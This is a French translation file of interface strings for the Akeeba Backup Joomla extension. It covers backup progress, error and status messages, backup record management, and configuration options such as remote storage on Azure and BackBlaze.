COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_2="Les navigateurs modernes et les gestionnaires de mots de passe ne nous permettent pas de remplacer ce comportement. Nous avons mis en place une défense JavaScript contre ce type de remplissage automatique non consenti du champ de mot de passe dans la page de configuration. Cependant, si vous enregistrez la page de configuration dans un délai d'environ une demi-seconde après son chargement, cette défense n'aura pas eu le temps de s'exécuter."
COM_AKEEBABACKUP_BACKUP_ANGIE_PASSWORD_WARNING_HEADER="AVERTISSEMENT : Vous avez configuré un mot de passe pour le script de restauration"
COM_AKEEBABACKUP_BACKUP_DEFAULT_DESCRIPTION="Sauvegarde effectuée le"
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_AUTOBACKUP="La sauvegarde automatique ne peut pas être démarrée car votre répertoire de sortie n'est pas accessible en écriture. Veuillez suivre les instructions ci-dessous pour résoudre ce problème."
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_COMMON="Pour résoudre ce problème, veuillez accéder à la <a href=\"%s\">Page de configuration</a> et définir le répertoire de sortie sur <code>[DEFAULT_OUTPUT]</code> (tout en majuscules, y compris les crochets). Si cela ne fonctionne toujours pas, veuillez consulter <a href=\"%s\">nos instructions de dépannage</a>"
COM_AKEEBABACKUP_BACKUP_ERROR_UNWRITABLEOUTPUT_NORMALBACKUP="Akeeba Backup ne peut pas effectuer de sauvegarde de votre site car le répertoire de sortie n'est pas accessible en écriture. Veuillez suivre les instructions ci-dessous pour résoudre ce problème."
COM_AKEEBABACKUP_BACKUP_ERROR_PROFILE_NO_ACCESS="Vous n'avez pas accès à ce profil de sauvegarde."
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFAILED="Sauvegarde échouée"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPFINISHED="Sauvegarde terminée avec succès"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPRETRY="Sauvegarde interrompue et reprendra automatiquement"
COM_AKEEBABACKUP_BACKUP_HEADER_BACKUPWITHRETURNURLFINISHED="Le processus s'est terminé avec succès"
COM_AKEEBABACKUP_BACKUP_HEADER_STARTNEW="Démarrer une nouvelle sauvegarde"
COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT="Commentaire de sauvegarde"
COM_AKEEBABACKUP_BACKUP_LABEL_COMMENT_HELP="Ceci apparaîtra à la fois sur la page Gérer les sauvegardes et dans l'archive de sauvegarde (dans le fichier installation/README.html) pour votre commodité."
COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION="Courte description"
COM_AKEEBABACKUP_BACKUP_LABEL_DESCRIPTION_HELP="Ceci apparaîtra sur la page Gérer les sauvegardes pour votre commodité."
COM_AKEEBABACKUP_BACKUP_LABEL_DETECTEDQUIRKS="Akeeba Backup peut ne pas fonctionner comme prévu"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_FINISHED="Finalisation du processus de sauvegarde"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_INIT="Initialisation du processus de sauvegarde"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_INSTALLER="Intégration du programme d'installation dans l'archive"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_PACKDB="Sauvegarde des bases de données"
COM_AKEEBABACKUP_BACKUP_LABEL_DOMAIN_PACKING="Sauvegarde des fichiers"
COM_AKEEBABACKUP_BACKUP_LABEL_PROGRESS="Progression de la sauvegarde"
COM_AKEEBABACKUP_BACKUP_LABEL_QUIRKSLIST="Akeeba Backup a détecté les problèmes potentiels suivants :"
COM_AKEEBABACKUP_BACKUP_LABEL_RESTORE_DEFAULT="Restaurer les valeurs par défaut"
COM_AKEEBABACKUP_BACKUP_LABEL_START="Sauvegarder maintenant !"
COM_AKEEBABACKUP_BACKUP_LABEL_WARNINGS="Avertissements"
COM_AKEEBABACKUP_BACKUP_LBL_EXPLAIN_PROFILES="Vous pouvez changer le profil de sauvegarde actif ci-dessus pour effectuer une sauvegarde avec différents paramètres. Vous pouvez créer des profils de sauvegarde sur la page Profils."
COM_AKEEBABACKUP_BACKUP_LBL_UPGRADENAG="Fatigué de voir cette page ? Vous pouvez automatiser vos sauvegardes avec Akeeba Backup Professional."
COM_AKEEBABACKUP_BACKUP_STATS="Statistiques de sauvegarde"
COM_AKEEBABACKUP_BACKUP_STATUS_NONE="Aucune sauvegarde effectuée"
COM_AKEEBABACKUP_BACKUP_TEXT_AVGWARNING="Vous utilisez AVG Antivirus avec le scanner de liens activé. Il est connu que cela cause des problèmes de sauvegarde. Veuillez désactiver la fonctionnalité Link Scanner si vous rencontrez des problèmes.\n\nÊtes-vous sûr de vouloir continuer malgré cet avertissement ?"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKINGUP="Veuillez <strong>NE PAS</strong> naviguer vers une autre page, passer à un autre onglet/fenêtre de navigateur, ou basculer vers <em>une autre application</em> à moins de voir un message de fin ou d'erreur. Assurez-vous que votre appareil ne se mette pas en veille pendant la sauvegarde."
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILED="L'opération de sauvegarde a été interrompue car une erreur a été détectée.<br />Le dernier message d'erreur était :"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFAILEDRETRY="L'opération de sauvegarde a été interrompue car une erreur a été détectée. Cependant, Akeeba Backup tentera de reprendre la sauvegarde. Si vous ne souhaitez pas reprendre la sauvegarde, veuillez cliquer sur le bouton Annuler ci-dessous."
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPFINISHED="Sauvegarde terminée le"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT="Sauvegarde interrompue"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPHALT_DESC="La sauvegarde reprendra dans %d secondes"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPRESUME="Sauvegarde reprise le"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPSTARTED="Sauvegarde démarrée le"
COM_AKEEBABACKUP_BACKUP_TEXT_BACKUPWARNING="La sauvegarde a émis un avertissement"
COM_AKEEBABACKUP_BACKUP_TEXT_BTNRESUME="Reprendre"
COM_AKEEBABACKUP_BACKUP_TEXT_CONGRATS="Félicitations ! Le processus de sauvegarde s'est terminé avec succès.<br/>Vous pouvez maintenant naviguer vers une autre page."
COM_AKEEBABACKUP_BACKUP_TEXT_LASTERRORMESSAGEWAS="Pour votre information, le dernier message d'erreur était :"
COM_AKEEBABACKUP_BACKUP_TEXT_LASTRESPONSE="Dernière réponse du serveur il y a %s s"
COM_AKEEBABACKUP_BACKUP_TEXT_PLEASEWAITFORREDIRECTION="Veuillez patienter ; vous êtes redirigé vers la page suivante.<br/>Cela peut prendre 5 à 30 secondes, selon votre connexion Internet."
COM_AKEEBABACKUP_BACKUP_TEXT_READLOGFAIL="Veuillez cliquer sur le bouton 'Afficher le journal' dans la barre d'outils pour afficher le fichier journal Akeeba Backup pour plus d'informations."
COM_AKEEBABACKUP_BACKUP_TEXT_READLOGFAILPRO="Veuillez cliquer sur le bouton 'Analyser le journal' ci-dessous pour qu'Akeeba Backup analyse son fichier journal pour plus d'informations."
COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVE="Nous vous recommandons vivement de suivre les instructions étape par étape de notre <a href=\"%s\">assistant de dépannage</a> pour résoudre facilement ce problème vous-même."
COM_AKEEBABACKUP_BACKUP_TEXT_RTFMTOSOLVEPRO="Suivre les suggestions d'ALICE, notre analyseur de journal, peut ne pas être suffisant. L'analyseur de journal automatique ne peut pas couvrir tous les cas de problèmes possibles."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_CORE="Si cela n'aide pas, vous pouvez envisager <a href=\"%s\">d'acheter un abonnement</a> afin de pouvoir demander de l'aide dans notre <a href=\"%s\">système de tickets d'assistance</a>."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_LOG="Si vous publiez dans notre système de tickets, n'oubliez pas de compresser et de joindre votre <a href=\"%s\">fichier journal de sauvegarde</a> dans votre message pour que nous puissions vous aider plus rapidement."
COM_AKEEBABACKUP_BACKUP_TEXT_SOLVEISSUE_PRO="Si cela n'aide pas, n'hésitez pas à demander de l'aide dans notre <a href=\"%s\">système de tickets d'assistance</a>. Notez que vous avez besoin d'un abonnement actif pour demander de l'aide via le système de tickets. Si Akeeba Backup Professional a été installé sur votre site par un tiers — par exemple votre développeur web — veuillez ne pas contacter Akeeba Ltd pour obtenir de l'aide. Contactez plutôt la personne qui a installé le logiciel sur votre site et demandez-lui de l'aide pour résoudre ce problème."
COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRY="La sauvegarde reprendra dans"
COM_AKEEBABACKUP_BACKUP_TEXT_WILLRETRYSECONDS="secondes"
COM_AKEEBABACKUP_BACKUP_TROUBLESHOOTINGDOCS="Documentation de dépannage"

COM_AKEEBABACKUP_BROWSER_ERR_BASEDIR="Le répertoire spécifié est soumis aux restrictions open_basedir. Il ne peut pas être utilisé pour la sortie de sauvegarde, et son contenu, s'il y en a, ne peut pas être listé."
COM_AKEEBABACKUP_BROWSER_ERR_NONROOT="Pour votre information : ce répertoire est en dehors de la racine web de votre site."
COM_AKEEBABACKUP_BROWSER_ERR_NOTEXISTS="Le répertoire spécifié n'existe pas !"
COM_AKEEBABACKUP_BROWSER_LBL_GO="Aller"
COM_AKEEBABACKUP_BROWSER_LBL_GOPARENT="&lt;remonter d'un niveau&gt;"
COM_AKEEBABACKUP_BROWSER_LBL_USE="Utiliser"

COM_AKEEBABACKUP_BUADMIN="Gérer les sauvegardes"
COM_AKEEBABACKUP_BUADMIN_TABLE_CAPTION="Tableau des tentatives de sauvegarde"
COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_ASC="Début de sauvegarde croissant"
COM_AKEEBABACKUP_BUADMIN_SORT_BACKUPSTART_DESC="Début de sauvegarde décroissant"
COM_AKEEBABACKUP_BUADMIN_BTN_DONTSHOWTHISAGAIN="Compris !"
COM_AKEEBABACKUP_BUADMIN_BTN_REMINDME="Me rappeler la prochaine fois"
COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDDOWNLOAD="Impossible de télécharger le fichier de l'enregistrement de sauvegarde spécifié"
COM_AKEEBABACKUP_BUADMIN_ERROR_INVALIDID="Identifiant d'enregistrement de sauvegarde invalide"
COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_ARCHIVES="Impossible de supprimer les fichiers d'archive de sauvegarde. Veuillez vérifier les permissions."
COM_AKEEBABACKUP_BUADMIN_ERR_CANNOT_DELETE_RECORD="Impossible de supprimer l'enregistrement d'archive de sauvegarde."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_PUBLISHED_1="L'enregistrement de sauvegarde a été gelé."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_PUBLISHED="%d enregistrements de sauvegarde ont été gelés."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_UNPUBLISHED_1="L'enregistrement de sauvegarde a été dégelé."
COM_AKEEBABACKUP_BUADMIN_N_ITEMS_UNPUBLISHED="%d enregistrements de sauvegarde ont été dégelés."
COM_AKEEBABACKUP_BUADMIN_FROZENRECORD_ERROR="Impossible d'effectuer l'action sélectionnée sur un enregistrement gelé"
COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_FREEZE="Geler l'enregistrement"
COM_AKEEBABACKUP_BUADMIN_LABEL_ACTION_UNFREEZE="Dégeler l'enregistrement"
COM_AKEEBABACKUP_BUADMIN_LABEL_COMMENT="Commentaire"
COM_AKEEBABACKUP_BUADMIN_LABEL_DELETEFILES="Supprimer les fichiers"
COM_AKEEBABACKUP_BUADMIN_LABEL_DESCRIPTION="Description"
COM_AKEEBABACKUP_BUADMIN_LABEL_DURATION="Durée"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN="Gelé"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_FROZEN="Gelé"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_SELECT="– Gelé –"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROZEN_UNFROZEN="Dégelé"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_LEGEND="Comment restaurer mes sauvegardes ?"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE="<p>Vous pouvez restaurer vos sauvegardes sur n'importe quel serveur, même un différent de celui sur lequel vous avez effectué la sauvegarde. Suivez notre <a href=\"%s\" target=\"_blank\">tutoriel vidéo</a>. Vous devrez <a href=\"%3$s\" target=\"_blank\">télécharger Akeeba Kickstart Core (gratuit)</a> pour extraire les archives de sauvegarde, comme le tutoriel vous le dit.</p>"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_CORE_INFO_ABOUT_PRO="<strong>Cela <em>peut</em> être plus simple que ça.</strong>Vous pouvez restaurer des archives de sauvegarde sur le même serveur ou un serveur différent depuis l'interface d'Akeeba Backup. Pas besoin de transférer des fichiers vous-même. Découvrez ces fonctionnalités et bien d'autres disponibles exclusivement dans <a href=\"%s\">Akeeba Backup Professional</a> !"
COM_AKEEBABACKUP_BUADMIN_LABEL_HOWDOIRESTORE_TEXT_PRO="<p>C'est facile ! Cochez la case à côté d'une entrée de sauvegarde. Cliquez maintenant sur le bouton <em>Restaurer</em> dans la barre d'outils.</p><p>Si vous souhaitez restaurer sur un nouveau serveur public, vous pouvez utiliser l'<a href=\"%2$s\">assistant de transfert de site</a>. Si vous préférez le faire manuellement ou restaurer sur votre propre ordinateur ou intranet, regardez notre <a href=\"%1$s\" target=\"_blank\">tutoriel vidéo</a> et <a href=\"%3$s\" target=\"_blank\">téléchargez Akeeba Kickstart Core (gratuit)</a> pour extraire les archives de sauvegarde.</p>"
COM_AKEEBABACKUP_BUADMIN_LABEL_ID="ID"
COM_AKEEBABACKUP_BUADMIN_LABEL_MANAGEANDDL="Gérer &amp; Télécharger"
COM_AKEEBABACKUP_BUADMIN_LABEL_NODESCRIPTION="(sans description)"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN="Origine"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_BACKEND="Administration"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_CLI="Ligne de commande"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_FRONTEND="Site public"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JSON="JSON API"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JOOMLA="Tâches planifiées Joomla"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_JOOMLACLI="Tâches planifiées Joomla (CLI uniquement)"
COM_AKEEBABACKUP_BUADMIN_LABEL_ORIGIN_SELECT="– Origine –"
COM_AKEEBABACKUP_BUADMIN_LABEL_PART="Partie %02d"
COM_AKEEBABACKUP_BUADMIN_LABEL_PROFILEID="Profil"
COM_AKEEBABACKUP_BUADMIN_LABEL_REMOTEFILEMGMT="Gérer les fichiers stockés à distance"
COM_AKEEBABACKUP_BUADMIN_LABEL_RESTORE="Restaurer"
COM_AKEEBABACKUP_BUADMIN_LABEL_SIZE="Taille"
COM_AKEEBABACKUP_BUADMIN_LABEL_START="Heure de début de la sauvegarde"
COM_AKEEBABACKUP_BUADMIN_LABEL_END="Heure de fin de la sauvegarde"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS="Statut"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_COMPLETE="Terminée"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_FAIL="Échouée"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_OBSOLETE="Obsolète"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_OK="OK"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_PENDING="En attente"
COM_AKEEBABACKUP_BUADMIN_LABEL_STATUS_REMOTE="Distante"
COM_AKEEBABACKUP_BUADMIN_LABEL_TYPE="Type"
COM_AKEEBABACKUP_BUADMIN_LABEL_FROM_DATE="Sauvegarde effectuée après"
COM_AKEEBABACKUP_BUADMIN_LABEL_TO_DATE="Sauvegarde effectuée avant"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEEXISTS="Mon archive de sauvegarde est-elle encore disponible sur mon serveur ?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME="Comment s'appelle-t-elle ?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVENAME_PAST="Comment s'appelait-elle ?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH="Où puis-je la trouver sur mon serveur ?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPATH_PAST="Où se trouvait-elle sur mon serveur ?"
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPARTS_1="Votre sauvegarde est constituée d'un seul fichier."
COM_AKEEBABACKUP_BUADMIN_LBL_ARCHIVEPARTS="Votre sauvegarde est constituée de %d fichiers."
COM_AKEEBABACKUP_BUADMIN_LBL_BACKUPINFO="Informations sur l'archive de sauvegarde"
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_PARTS="Votre sauvegarde est constituée de %d fichiers parties. Vous <em>devez</em> tous les télécharger et les placer dans le même répertoire pour que l'extraction de l'archive et la restauration de la sauvegarde réussissent."
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_TITLE="Le téléchargement via votre navigateur peut corrompre les fichiers"
COM_AKEEBABACKUP_BUADMIN_LBL_DOWNLOAD_WARNING="Nous recommandons de fermer cette boîte de dialogue et d'utiliser FTP en mode de transfert <code>Binaire</code> ou SFTP pour télécharger vos archives de sauvegarde."
COM_AKEEBABACKUP_BUADMIN_LBL_LOGFILEID="ID du fichier journal"
COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD="Télécharger"
COM_AKEEBABACKUP_BUADMIN_LOG_DOWNLOAD_CONFIRM="Le téléchargement d'archives de sauvegarde via votre navigateur est susceptible\nd'échouer, de corrompre les fichiers et de les tronquer pour des raisons\nobjectivement hors de notre contrôle (configuration du serveur, configuration du site,\nplugins tiers et configuration du navigateur).\n\nNous vous recommandons TRÈS FORTEMENT de ne télécharger\nles archives de sauvegarde qu'en FTP en mode de transfert Binaire\n(n'utilisez pas Auto ou ASCII ; cela corrompra vos archives de\nsauvegarde) en utilisant un logiciel client tel que FileZilla,\n CyberDuck, WinSCP ou similaire ; ou en utilisant le\ngestionnaire de fichiers du panneau de contrôle d'hébergement de votre hébergeur.\n\nSi vous continuez ce téléchargement, vous acceptez explicitement\nde renoncer à votre droit à une assistance pour tout problème de téléchargement,\nd'extraction ou de restauration d'archive de sauvegarde et vous\ncomprenez que toutes ces demandes ne recevront pas de réponse.\n\nÊtes-vous sûr de vouloir continuer ?"
COM_AKEEBABACKUP_BUADMIN_LOG_EDITCOMMENT="Voir / Modifier le commentaire de sauvegarde"
COM_AKEEBABACKUP_BUADMIN_LOG_NOT_AVAILABLE="Ce fichier journal n'est plus disponible sur votre site"
COM_AKEEBABACKUP_BUADMIN_LOG_SAVEDOK="Les modifications apportées à l'entrée de sauvegarde ont été enregistrées avec succès"
COM_AKEEBABACKUP_BUADMIN_LOG_SAVEERROR="Les modifications apportées à l'entrée de sauvegarde n'ont pas été enregistrées"
COM_AKEEBABACKUP_BUADMIN_MSG_DELETED="L'entrée et l'archive de sauvegarde ont été supprimées avec succès"
COM_AKEEBABACKUP_BUADMIN_MSG_DELETEDFILE="L'archive de sauvegarde a été supprimée avec succès"
COM_AKEEBABACKUP_BUADMIN_UNFREEZE_OK="Enregistrement(s) correctement dégelé(s)"

COM_AKEEBABACKUP_COMMON_EMAIL_BODY_INFO="La nouvelle sauvegarde a été effectuée avec le profil #%s. Elle est constituée de %s partie(s). La liste complète des fichiers de cet ensemble de sauvegarde est la suivante :"
COM_AKEEBABACKUP_COMMON_EMAIL_BODY_OK="Akeeba Backup a terminé la sauvegarde de votre site en utilisant la fonctionnalité de sauvegarde frontale. Vous pouvez visiter la section d'administration du site pour télécharger la sauvegarde."
COM_AKEEBABACKUP_COMMON_EMAIL_DEAFULT_SUBJECT="Vous avez une nouvelle partie de sauvegarde"
COM_AKEEBABACKUP_COMMON_EMAIL_SUBJECT_OK="Akeeba Backup a effectué une nouvelle sauvegarde"
COM_AKEEBABACKUP_COMMON_ERR_NOT_ENABLED="Opération non autorisée"

COM_AKEEBABACKUP_CONFIG="Configuration"
COM_AKEEBABACKUP_CONFIGURATION="Akeeba Backup <small>Options de configuration du composant</small>"
COM_AKEEBABACKUP_CONFIG_ADVANCED="Configuration avancée"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_DESC="Akeeba Backup interrompra l'étape de traitement après l'archivage d'un fichier volumineux. Lorsque vous activez cette option, Akeeba Backup fonctionnera plus rapidement. Cependant, cela peut entraîner des erreurs de délai d'attente ou des erreurs de serveur interne."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBALF_LABEL="Désactiver l'interruption d'étape après les fichiers volumineux"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_DESC="Akeeba Backup interrompra l'étape de traitement chaque fois qu'il commence à travailler sur un nouveau domaine. Cela améliore la verbosité du processus, mais rallonge le temps de sauvegarde de 10 à 20 secondes. Lorsque vous activez cette option, Akeeba Backup fonctionnera plus rapidement. Cependant, vous pourriez constater un comportement saccadé dans les étapes signalées sur la page de sauvegarde."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBD_LABEL="Désactiver l'interruption d'étape entre les domaines"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_DESC="Akeeba Backup interrompra l'étape de traitement avant l'archivage d'un fichier volumineux. Lorsque vous activez cette option, Akeeba Backup fonctionnera plus rapidement. Cependant, cela peut entraîner des erreurs de délai d'attente ou des erreurs de serveur interne."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBBLF_LABEL="Désactiver l'interruption d'étape avant les fichiers volumineux"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_DESC="Akeeba Backup interrompra l'étape de traitement s'il pense qu'il manquera de temps avant d'archiver un fichier. Ce calcul n'est pas entièrement précis et peut entraîner des sauvegardes plus lentes. Lorsque vous activez cette option, Akeeba Backup fonctionnera plus rapidement. Cependant, cela peut entraîner des erreurs de délai d'attente ou des erreurs de serveur interne."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPA_LABEL="Désactiver l'interruption proactive des étapes"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_DESC="Akeeba Backup interrompra l'étape de traitement entre les sous-étapes de la finalisation de la sauvegarde et du traitement ultérieur. Cela peut ajouter environ 10 secondes au temps de sauvegarde global. Lorsque vous activez cette option, Akeeba Backup fonctionnera plus rapidement. Cependant, cela peut entraîner des erreurs de délai d'attente ou des erreurs de serveur interne."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SBPP_LABEL="Désactiver l'interruption d'étape dans la finalisation"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_DESC="Si votre serveur n'exécute pas PHP en mode sans échec et prend en charge set_time_limit(), Akeeba Backup tentera de définir un temps d'exécution maximum PHP infini pour contourner les problèmes potentiels de délai d'attente"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETTIMELIMIT_LABEL="Définir une limite de temps PHP infinie"
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_DESC="Indique à Akeeba Backup d'essayer d'augmenter la limite de mémoire PHP à une valeur ridiculement élevée (16 Go). Cela vous permet de compresser des fichiers plus volumineux et de téléverser des archives de sauvegarde plus grandes en utilisant des options de stockage distant gourmandes en mémoire telles que WebDAV. Remarque : cela ne définit que la limite de consommation mémoire maximale. Dans la plupart des cas, le moteur de sauvegarde d'Akeeba Backup consomme <em>beaucoup moins</em> de mémoire que cela, généralement dans les 20 Mo. La compression et le téléversement de fichiers plus volumineux nécessitent également de modifier d'autres options dans la page de configuration du profil de sauvegarde."
COM_AKEEBABACKUP_CONFIG_ADVANCED_SETMEMLIMIT_LABEL="Définir une limite de mémoire élevée"
COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_DESCRIPTION="Vous pouvez optionnellement protéger par mot de passe le script de restauration Akeeba Backup, empêchant l'accès non autorisé au programme d'installation. Lorsque vous exécutez le programme d'installation, il vous sera demandé d'entrer ce mot de passe. Veuillez noter que le mot de passe est sensible à la casse, c'est-à-dire que ABC, abc et Abc sont trois mots de passe différents."
COM_AKEEBABACKUP_CONFIG_ANGIE_KEY_TITLE="Mot de passe du script de restauration"
COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_DESC="Envoyer un e-mail à cette adresse (laisser vide pour envoyer à tous les super utilisateurs)"
COM_AKEEBABACKUP_CONFIG_ARBITRARYFEEMAIL_LABEL="Adresse e-mail"
COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_DESCRIPTION="Modèle de nommage pour l'archive de sauvegarde, si applicable. Vous pouvez utiliser les macros suivantes :<ul><li><strong>[HOST]</strong> Le nom d'hôte. ATTENTION ! Cette balise ne fonctionne pas en mode CRON.</li><li><strong>[DATE]</strong> Date actuelle</li><li><strong>[TIME_TZ]</strong> Heure actuelle et fuseau horaire</li></ul>D'autres sont disponibles ; veuillez consulter la documentation."
COM_AKEEBABACKUP_CONFIG_ARCHIVENAME_TITLE="Nom de l'archive de sauvegarde"
COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_DESCRIPTION="Définit le format d'archive d'Akeeba Backup. Certains moteurs, tels que DirectFTP, ne produisent pas réellement d'archives, mais prennent en charge le transfert de vos fichiers vers d'autres serveurs."
COM_AKEEBABACKUP_CONFIG_ARCHIVERENGINE_TITLE="Moteur d'archivage"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_DESCRIPTION="Lorsque cette option est décochée, Akeeba Backup interrompra la sauvegarde lorsque le serveur répond avec une erreur. Lorsque cette option est activée, Akeeba Backup essaiera de reprendre la sauvegarde en répétant la dernière étape. Cela s'applique uniquement aux sauvegardes depuis l'administration. Cela ne permettra pas non plus de reprendre avec succès toutes les sauvegardes qui entraînent une erreur : seules les tentatives de sauvegarde temporairement bloquées par les restrictions d'utilisation du CPU du serveur ou les problèmes de panne réseau peuvent être reprises."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_DESCRIPTION="Combien de fois Akeeba Backup doit-il réessayer de reprendre la sauvegarde avant d'abandonner définitivement. 3 à 5 tentatives fonctionnent mieux sur la plupart des serveurs."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_MAXRETRIES_TITLE="Nombre maximum de tentatives d'une étape de sauvegarde après une erreur AJAX"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_DESCRIPTION="Combien de secondes attendre avant de reprendre la sauvegarde. Il est conseillé de définir cette valeur à 30 secondes ou plus (120 secondes est recommandé dans la plupart des cas) pour donner à votre serveur le temps nécessaire pour débloquer le processus de sauvegarde avant qu'Akeeba Backup ne réessaie de le terminer."
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TIMEOUT_TITLE="Période d'attente avant de réessayer l'étape de sauvegarde"
COM_AKEEBABACKUP_CONFIG_AUTORESUME_TITLE="Reprendre la sauvegarde après une erreur AJAX"
COM_AKEEBABACKUP_CONFIG_AZURE_ACCOUNTNAME_DESCRIPTION="Le nom de votre compte. Si votre point de terminaison est foobar.blob.core.windows.net, alors votre nom de compte est <strong>foobar</strong> et vous devez saisir <em>foobar</em> dans cette case."
COM_AKEEBABACKUP_CONFIG_AZURE_ACCOUNTNAME_TITLE="Nom du compte"
COM_AKEEBABACKUP_CONFIG_AZURE_CONTAINER_DESCRIPTION="Le conteneur Windows Azure BLOB Storage pour stocker les archives de sauvegarde. Le conteneur doit déjà exister."
COM_AKEEBABACKUP_CONFIG_AZURE_CONTAINER_TITLE="Conteneur"
COM_AKEEBABACKUP_CONFIG_AZURE_DIRECTORY_DESCRIPTION="Le répertoire dans le conteneur Windows Azure BLOB Storage pour stocker les archives de sauvegarde. Pour tout stocker à la racine du conteneur, veuillez laisser vide."
COM_AKEEBABACKUP_CONFIG_AZURE_DIRECTORY_TITLE="Répertoire"
COM_AKEEBABACKUP_CONFIG_AZURE_KEY_DESCRIPTION="Vous pouvez trouver votre clé d'accès principale sur la page de votre compte sur windows.azure.com. Copiez-la et collez-la ici. Elle se termine toujours par deux signes égal."
COM_AKEEBABACKUP_CONFIG_AZURE_KEY_TITLE="Clé d'accès principale"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_ACCOUNTID_DESCRIPTION="Entrez l'ID de votre clé d'application BackBlaze. Vous pouvez trouver ces informations dans <a href='https://secure.backblaze.com/b2_buckets.htm'>la page de votre compte BackBlaze</a> après avoir cliqué sur 'Show Account ID and Application Key'. Si vous utilisez votre clé principale, entrez votre ID de compte à la place."
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_ACCOUNTID_TITLE="ID de la clé d'application"
COM_AKEEBABACKUP_CONFIG_BACKBLAZE_APPLICATIONKEY_DESCRIPTION="Entrez votre clé d'application BackBlaze. Vous pouvez trouver ces informations dans <a href='https://secure.backblaze.com/b2_buckets.htm'>la page de votre compte BackBlaze</a> après avoir cliqué sur 'Show Account ID and Application Key'. <strong>AVERTISSEMENT</strong> ! Cela ne vous est affiché qu'UNE SEULE FOIS par BackBlaze. Pour l'afficher à nouveau, vous devrez régénérer la clé d'application, ce qui entraînera la déconnexion de toutes les instances Akeeba Backup précédemment liées jusqu'à ce que vous y entriez la <em>nouvelle</em> clé d'application."
